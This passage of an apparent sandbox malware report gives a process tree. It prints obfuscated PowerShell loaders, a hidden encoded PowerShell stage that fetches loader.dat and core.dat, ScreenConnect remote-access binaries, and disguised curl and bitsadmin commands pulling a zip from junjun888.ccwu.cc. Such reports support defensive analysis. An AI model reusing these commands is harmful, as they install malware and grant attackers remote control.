bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5'';$a8hABT30=''XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4='';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, ''$jkEZ6Itm'', ''''));$jkEZ6ItmoldR='''';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'''') $obuXd1W"'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7024
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=17-56;$yIAnYBp='k5XwE8pj';$chwoge='cc95a1a98ee0aeed92f397b89fb2f793a4fc9db38be1faf3cc95a9938ae6f493a4ed84b48cf78aafa8f186908efcbba7a4edafe7d5c1bfa3b4ed9ba996c2a8afb5f091b283b2e7e09ad197a9c1c1bfa3b4ed9ba996c2a8afb5f091b283c6a3b0a4c2c8e7bbfea9f1f392f8f98da4eefde6fbaa939ff0b7a3a6cac1b195f69d96b5d08b9fdef1e8acb4c58b9fbbf7828ef1c5a5ed9ac7b796acfdb58b85f69dacb7fd98ae88f19296a8fdb5b185db9d8eb2c6aa9395db9c82aec6a5e8dff0e8f189c6aa8f83f7e982f0c69fa59fcba382bbfbb59bdff38d8da6ceaa9395c88df1a8fdbab688c69df9a9c5b79b95f1e896b5c69fa5dad99d8af4fbb58b8dca8982afd4aaa9adf1e98eadfda5979cf78982aecfa79b95f1e896b5c69fa5dadeb1a4adfbb78bdbc88d8ef0fbb5b19ac8ea86bbfcc08b9bcbb7b8f4d4b1b6d8db9dacacd4b5ba88db8ef1b4fba5a59cd982b4f8d6ba9783f69296b8fd9b9fadf1928284fdc0ec87f38df4b4cec18b96f1b796b4fbb78f99f08d86b1fd9be8a2f0e886aad4b5be9fdde9f1f8b8ffd7aef6beed95e682b8cfbf8eb9b1fab6b889fbb4a9b5f69db3cfba8194a4e786f3aafcb9afa5f69cbab2a8e09595d9caf3a8f7ae93b5ed9bb388ba8183aef184b89de687fafbd980b282d0bbb3a4a9c68e9be0b3aea6b7d6bfd9a6f3e9e892f8bb9afcb9b4a8f09cfd8bbafeace8e4d6aad2dcbfb7ecd090b78af1aee08ffa86f3b8f7b883adf697b39ba9f287a4ebdf8f8efcbeafacbfd6b1cfbf99afb4f186fdcbfef483aeea9ca9c6eeffbbb5ed8ba69df7aeb5b3f1d2f998bc9eafb6f19eb28ef69ea1b5fedaf9b0bba7a3a0eb91b594efa7bdcc9594a881f1aea9aef1d2b4c7b6bbece5ebdef982befeb0fcdfdaf4c6e9feb9fcc4a2b58efcaeafacd893a98acfe0fa8df093b9aee1a9a5acfd9ea4c7b6bbe9fabba0e0cbebf487a4eba6a49ff7a9e8e8e3cda6cbcdf486b4f39e938effbfe0ecfa83fdcbe6a7fbe5f1cff9bdbc9da5b5d297a987fdbee8e5f2def5b4c0bfa6adfa91a986fdb4ee83f69cb986fcbd86adfe95aeb2b58ab5';$a8hABT30='XAxkQTwjSlFuFW9OeQ4JbEoBeUtzQWxRTRRsTHMIAhYXWylNLQRDFx9EYwxZHnZLXxRkQTkWfn5dFGRUcRlKTWNaN2FiCERLWyljUWQMS1xbSClwORAeG1BORExmAk5aFkRiDjQdDEIzagAoNAYYfxZIKkpkGQIfFUAqUipCCg4HUiMQJVgLDgdVIxMlVQpWUwciEz4HVVgZSSEKNwVRS05aIg0hVBcRDFU4DCFUEBEPVT0NeQBCEA9OZ1J3SgwTFkdlVmQdHxARUj0bPlgREQ9QPgwhXhUQVw1qDSFDT09ZRyQLHWdMWRZIKUUtCQUbVUkgQ34JDRtKXVZ2dRVREXsObk10BEtYY1o3d0QrHRF5BXlxZB9MUVlIKUU5RAhSXxRuSjdRGWxqISoCO00CbWpeMwo+RxoWAlxIbDdNDh8ZJDMcN0ReMjRALQZ3CkMfA0AqVmgZCw5bDGREZB5MWBEFPBMlDkMPX1ZuF3QJFwdcUjoTIFVBBwkFPEcoCEBaC1JpFilfRlsIT3pDYkIRDw1TORAnX0ReC1c1ESdYElsIWGlHdghDC1hUOxIhWwpbVw9/Rj1ZF1BMCWhGYgJGUVETYUd+QkhQXU55THUZS1BdEmhRZQ9QV0oJagxkHkxYEU83UXceQ1RZBmVEYwtWWxlANgI0CkJZHl0tBncKQxFtFW9RZB9MUVlIPQ4wSUJYWE5BR34KUVceTS0TIkQoNRoMLR8wShUYHlsAKDQAXAIZDXRSYgJCTV8NI2p/SgUUHkdgR3UeAgQzai0CME1MHxY7Tk1+G0BNSj03GFYfSlJ8AX5HJll2S0wJY0U4SWheSgNlR2M2FGIXSS0GfRQFGEwVY1FjSgV/FkRqRXZBBRtSTC0FN0EFGGwFamNjAAITHkc9BTBBBRhGWDsFOWAvHx5ALWV1GQhvTA9uR2MeWUxREnkCUz1wHxMEaFFzEVZaUgVuVjBAQ1ZME3kCJRFDSx4ubE91QWZva0BwLxpgLx8eQC0CME0FHx4=';$lWG8zv=0xB95C-0x910E;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0xAA)};$r1ZSnDSi=$jkEZ6Itm;$jkEZ6Itm=@();foreach($c in [char[]]$yIAnYBp){$jkEZ6Itm+=[byte]($c-bxor0x55)};$wyV3JTm=$jkEZ6Itm;$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$chwoge.Length;$j+=2){$jkEZ6ItmoldR+=[char](([Convert]::ToInt32($chwoge.Substring($j,2),16))-bxor$r1ZSnDSi[$i++%$r1ZSnDSi.Length])};$hwdEnKy=$jkEZ6ItmoldR;$jkEZ6ItmoldB=[Convert]::FromBase64String([regex]::Replace($a8hABT30, '$jkEZ6Itm', ''));$jkEZ6ItmoldR='';$i=0;for($j=0;$j-lt$jkEZ6ItmoldB.Length;$j++){$jkEZ6ItmoldR+=[char]($jkEZ6ItmoldB[$j]-bxor$wyV3JTm[$i++%$wyV3JTm.Length])};$egsFSJVcQ=$jkEZ6ItmoldR;$obuXd1W=$hwdEnKy+$egsFSJVcQ;.($env:ComSpec[4,26,25]-join'') $obuXd1W
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8400
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gnpsojqs\gnpsojqs.cmdline"
        6⤵
        
        PID:2968
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3BF1.tmp" "c:\Users\Admin\AppData\Local\Temp\gnpsojqs\CSCFAA54B5277DD418E99C837A198A3DD0.TMP"
        7⤵
        
        PID:10648
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodthingswforbestfeelingsfromtheheartsesion.hta
    3⤵
    PID:2144
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe verygoodthingsarecomingentiretimeforbest.hta
    3⤵
    PID:4192
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodthingsarecomingfromthebestplacescomingforme.hta
    3⤵
    PID:3740
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe EC_puller.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:3528
- - C:\Windows\system32\a\4.exe
    4.exe
    3⤵
    PID:740
- - C:\Windows\system32\a\1.exe
    1.exe
    3⤵
    PID:3240
- - C:\Windows\system32\a\ScreenConnect.WindowsBackstageShell.exe
    ScreenConnect.WindowsBackstageShell.exe
    3⤵
    PID:4348
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
      dw20.exe -x -s 1476
      4⤵
      PID:4420
- - C:\Windows\system32\a\ScreenConnect.WindowsFileManager.exe
    ScreenConnect.WindowsFileManager.exe
    3⤵
    PID:3872
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
      dw20.exe -x -s 1840
      4⤵
      PID:3312
- - C:\Windows\system32\a\ScreenConnect.ClientService.exe
    ScreenConnect.ClientService.exe
    3⤵
    PID:4660
- - C:\Windows\system32\a\34534.exe
    34534.exe
    3⤵
    PID:1844
  - - C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\lldeeagc.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:3224
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_92790\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_92790\Lo.zip" https://junjun888.ccwu.cc/4444/1/c2b8.zip
        5⤵
        Executes a command shell one-liner
        
        PID:5304
      - C:\Users\Public\Documents\MSUpdate_92790\shlwapi.dll
        
        C:\Users\Public\Documents\MSUpdate_92790\shlwapi.dll -k -s -L --retry 3 -o "C:\Users\Public\Documents\MSUpdate_92790\Lo.zip" https://junjun888.ccwu.cc/4444/1/c2b8.zip
        6⤵
        
        PID:940
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\MSUpdate_92790\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/4444/1/c2b8.zip "C:\Users\Public\Documents\MSUpdate_92790\Lo.zip"
        5⤵
        Executes a command shell one-liner
        
        PID:5040
      - C:\Users\Public\Documents\MSUpdate_92790\urlmon.dll
        
        C:\Users\Public\Documents\MSUpdate_92790\urlmon.dll /transfer UpdateJob /download /priority high https://junjun888.ccwu.cc/4444/1/c2b8.zip "C:\Users\Public\Documents\MSUpdate_92790\Lo.zip"
        6⤵
        
        PID:7668
- - C:\Windows\system32\a\setup.exe
    setup.exe
    3⤵
    PID:4528
  - - C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" //B //Nologo "C:\Users\Admin\AppData\Local\Adobe\launch.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:6284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "JABTAGUAcgB2AGUAcgBVAHIAbAA9ACQAZQBuAHYAOgBIAFAAXwBQAEEATgBFAEwAXwBVAFIATAAKACQAUgBvAG8AdAA9ACQAZQBuAHYAOgBIAFAAXwBBAEcARQBOAFQAXwBSAE8ATwBUAAoAJABFAG4AYwBGAGkAbABlAD0AJABlAG4AdgA6AEgAUABfAEUATgBDAF8ARgBJAEwARQAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgB0AHIAeQAgAHsAIABBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAIAB9ACAAYwBhAHQAYwBoACAAewB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABSAGUAcwBvAGwAdgBlAC0AQQBnAGUAbgB0AFIAbwBvAHQAKABbAHMAdAByAGkAbgBnAF0AJABSACkAIAB7AAoAIAAgACAAIABpAGYAIAAoACQAUgAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAFIAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABSACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAAgAC0AYQBuAGQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAApACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGUAbgB2ADoASABQAF8AQQBHAEUATgBUAF8AUgBPAE8AVAAgAH0ACgAgACAAIAAgAGkAZgAgACgAJABQAFMAUwBjAHIAaQBwAHQAUgBvAG8AdAApACAAewAgAHIAZQB0AHUAcgBuACAAJABQAFMAUwBjAHIAaQBwAHQAUgBvAG8AdAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAKABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACIAQQBkAG8AYgBlACIAKQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAFIAZQBzAG8AbAB2AGUALQBQAGEAbgBlAGwAUwBlAHIAdgBlAHIAVQByAGwAKABbAHMAdAByAGkAbgBnAF0AJABVAHIAbAAsACAAWwBzAHQAcgBpAG4AZwBdACQAQQBnAGUAbgB0AFIAbwBvAHQAKQAgAHsACgAgACAAIAAgACQAdQAgAD0AIABpAGYAIAAoACQAVQByAGwAKQAgAHsAIAAkAFUAcgBsAC4AVAByAGkAbQAoACkALgBUAHIAaQBtAEUAbgBkACgAIgAvACIAKQAgAH0AIABlAGwAcwBlACAAewAgACIAIgAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAdQAgAC0AYQBuAGQAIAAkAGUAbgB2ADoASABQAF8AUABBAE4ARQBMAF8AVQBSAEwAKQAgAHsAIAAkAHUAIAA9ACAAJABlAG4AdgA6AEgAUABfAFAAQQBOAEUATABfAFUAUgBMAC4AVAByAGkAbQAoACkALgBUAHIAaQBtAEUAbgBkACgAIgAvACIAKQAgAH0ACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAdQAgAC0AYQBuAGQAIAAkAGUAbgB2ADoASABPAFMAVABfAFAAQQBOAEUATABfAFUAUgBMACkAIAB7ACAAJAB1ACAAPQAgACQAZQBuAHYAOgBIAE8AUwBUAF8AUABBAE4ARQBMAF8AVQBSAEwALgBUAHIAaQBtACgAKQAuAFQAcgBpAG0ARQBuAGQAKAAiAC8AIgApACAAfQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJAB1ACAALQBhAG4AZAAgACQAQQBnAGUAbgB0AFIAbwBvAHQAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABwAGYAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAEEAZwBlAG4AdABSAG8AbwB0ACAAIgBwAGEAbgBlAGwALgB1AHIAbAAiAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcABmACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABmAHIAbwBtAEYAaQBsAGUAIAA9ACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcABmACAALQBUAG8AdABhAGwAQwBvAHUAbgB0ACAAMQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGYAcgBvAG0ARgBpAGwAZQApACAAewAgACQAdQAgAD0AIAAkAGYAcgBvAG0ARgBpAGwAZQAuAFQAcgBpAG0AKAApAC4AVAByAGkAbQBFAG4AZAAoACIALwAiACkAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAGkAZgAgACgAJAB1ACAALQBtAGEAdABjAGgAIAAnAF4AKABoAHQAdABwAHMAPwA6AC8ALwBbAF4ALwA6AF0AKwApADoAOAA4ADgAOAAoAC8ALgAqACkAPwAkACcAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJAB1ACAAPQAgACQATQBhAHQAYwBoAGUAcwBbADEAXQAgACsAIAAkACgAaQBmACAAKAAkAE0AYQB0AGMAaABlAHMAWwAyAF0AKQAgAHsAIAAkAE0AYQB0AGMAaABlAHMAWwAyAF0AIAB9ACAAZQBsAHMAZQAgAHsAIAAiACIAIAB9ACkACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB1AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVQBuAHAAcgBvAHQAZQBjAHQALQBTAGUAcwBzAGkAbwBuAFMAZQBjAHIAZQB0ACgAWwBiAHkAdABlAFsAXQBdACQAQgBsAG8AYgAsACAAWwBzAHcAaQB0AGMAaABdACQATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAKQAgAHsACgAgACAAIAAgACQAcwBjAG8AcABlACAAPQAgAGkAZgAgACgAJABMAG8AYwBhAGwATQBhAGMAaABpAG4AZQApACAAewAKACAAIAAgACAAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEwAbwBjAGEAbABNAGEAYwBoAGkAbgBlAAoAIAAgACAAIAB9ACAAZQBsAHMAZQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIACgAgACAAIAAgAH0ACgAgACAAIAAgACQAcABsAGEAaQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEAXQA6ADoAVQBuAHAAcgBvAHQAZQBjAHQAKAAkAEIAbABvAGIALAAgACQAbgB1AGwAbAAsACAAJABzAGMAbwBwAGUAKQAKACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAbABhAGkAbgApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBBAGUAcwBLAGUAeQBCAHkAdABlAHMAKABbAHMAdAByAGkAbgBnAF0AJABTAGUAYwByAGUAdAApACAAewAKACAAIAAgACAAJABzAGgAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAyADUANgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABzAGgAYQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAFMAZQBjAHIAZQB0AC4AVAByAGkAbQAoACkAKQApACAAfQAKACAAIAAgACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHMAaABhAC4ARABpAHMAcABvAHMAZQAoACkAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARABlAGMAcgB5AHAAdAAtAEEAZQBzAEIAbABvAGIAKABbAGIAeQB0AGUAWwBdAF0AJABSAGEAdwAsACAAWwBzAHQAcgBpAG4AZwBdACQAUwBlAGMAcgBlAHQAKQAgAHsACgAgACAAIAAgAGkAZgAgACgAJABSAGEAdwAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxADcAKQAgAHsAIAB0AGgAcgBvAHcAIAAiAEkAbgB2AGEAbABpAGQAIABlAG4AYwByAHkAcAB0AGUAZAAgAGIAbABvAGIALgAiACAAfQAKACAAIAAgACAAJABpAHYAIAA9ACAAJABSAGEAdwBbADAALgAuADEANQBdAAoAIAAgACAAIAAkAGUAbgBjACAAPQAgACQAUgBhAHcAWwAxADYALgAuACgAJABSAGEAdwAuAEwAZQBuAGcAdABoACAALQAgADEAKQBdAAoAIAAgACAAIAAkAGEAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABhAGUAcwAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJABhAGUAcwAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKACAAIAAgACAAJABhAGUAcwAuAEsAZQB5ACAAPQAgAEcAZQB0AC0AQQBlAHMASwBlAHkAQgB5AHQAZQBzACAAJABTAGUAYwByAGUAdAAKACAAIAAgACAAJABhAGUAcwAuAEkAVgAgAD0AIAAkAGkAdgAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAZABlAGMAIAA9ACAAJABhAGUAcwAuAEMAcgBlAGEAdABlAEQAZQBjAHIAeQBwAHQAbwByACgAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGUAbgBjACwAIAAwACwAIAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGQAZQBjACkACgAgACAAIAAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAYQBlAHMALgBEAGkAcwBwAG8AcwBlACgAKQAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABVAHAAZABhAHQAZQAtAEEAZwBlAG4AdABQAGEAeQBsAG8AYQBkAHMAKABbAHMAdAByAGkAbgBnAF0AJABBAGcAZQBuAHQAUgBvAG8AdAAsACAAWwBzAHQAcgBpAG4AZwBdACQAQgBhAHMAZQBVAHIAbAAsACAAWwBzAHQAcgBpAG4AZwBdACQAUwBlAGMAcgBlAHQAKQAgAHsACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAQgBhAHMAZQBVAHIAbAAgAC0AbwByACAALQBuAG8AdAAgACQAUwBlAGMAcgBlAHQAKQAgAHsAIAByAGUAdAB1AHIAbgAgAH0ACgAgACAAIAAgACQAYgBhAHMAZQAgAD0AIAAkAEIAYQBzAGUAVQByAGwALgBUAHIAaQBtACgAKQAuAFQAcgBpAG0ARQBuAGQAKAAiAC8AIgApAAoAIAAgACAAIAAkAGsAZQB5AFEAIAA9ACAAWwBVAHIAaQBdADoAOgBFAHMAYwBhAHAAZQBEAGEAdABhAFMAdAByAGkAbgBnACgAJABTAGUAYwByAGUAdAApAAoAIAAgACAAIAB0AHIAeQAgAHsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABwAGEAaQByACAAaQBuACAAQAAoAAoAIAAgACAAIAAgACAAIAAgAEAAewAgAFIAZQBsACAAPQAgACIALwBhAGcAZQBuAHQALwBsAG8AYQBkAGUAcgAuAGQAYQB0AD8AawBlAHkAPQAkAGsAZQB5AFEAIgA7ACAATgBhAG0AZQAgAD0AIAAiAGwAbwBhAGQAZQByAC4AZABhAHQAIgA7ACAATQBpAG4AIAA9ACAAMwAyACAAfQAsAAoAIAAgACAAIAAgACAAIAAgAEAAewAgAFIAZQBsACAAPQAgACIALwBhAGcAZQBuAHQALwBjAG8AcgBlAC4AZABhAHQAPwBrAGUAeQA9ACQAawBlAHkAUQAiADsAIABOAGEAbQBlACAAPQAgACIAYwBvAHIAZQAuAGQAYQB0ACIAOwAgAE0AaQBuACAAPQAgADMAMgAgAH0ACgAgACAAIAAgACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGUAcwB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABBAGcAZQBuAHQAUgBvAG8AdAAgACQAcABhAGkAcgAuAE4AYQBtAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAbQBwACAAPQAgACQAZABlAHMAdAAgACsAIAAiAC4AdABtAHAAIgAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdQByAGkAIAA9ACAAJABiAGEAcwBlACAAKwAgACQAcABhAGkAcgAuAFIAZQBsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBXAG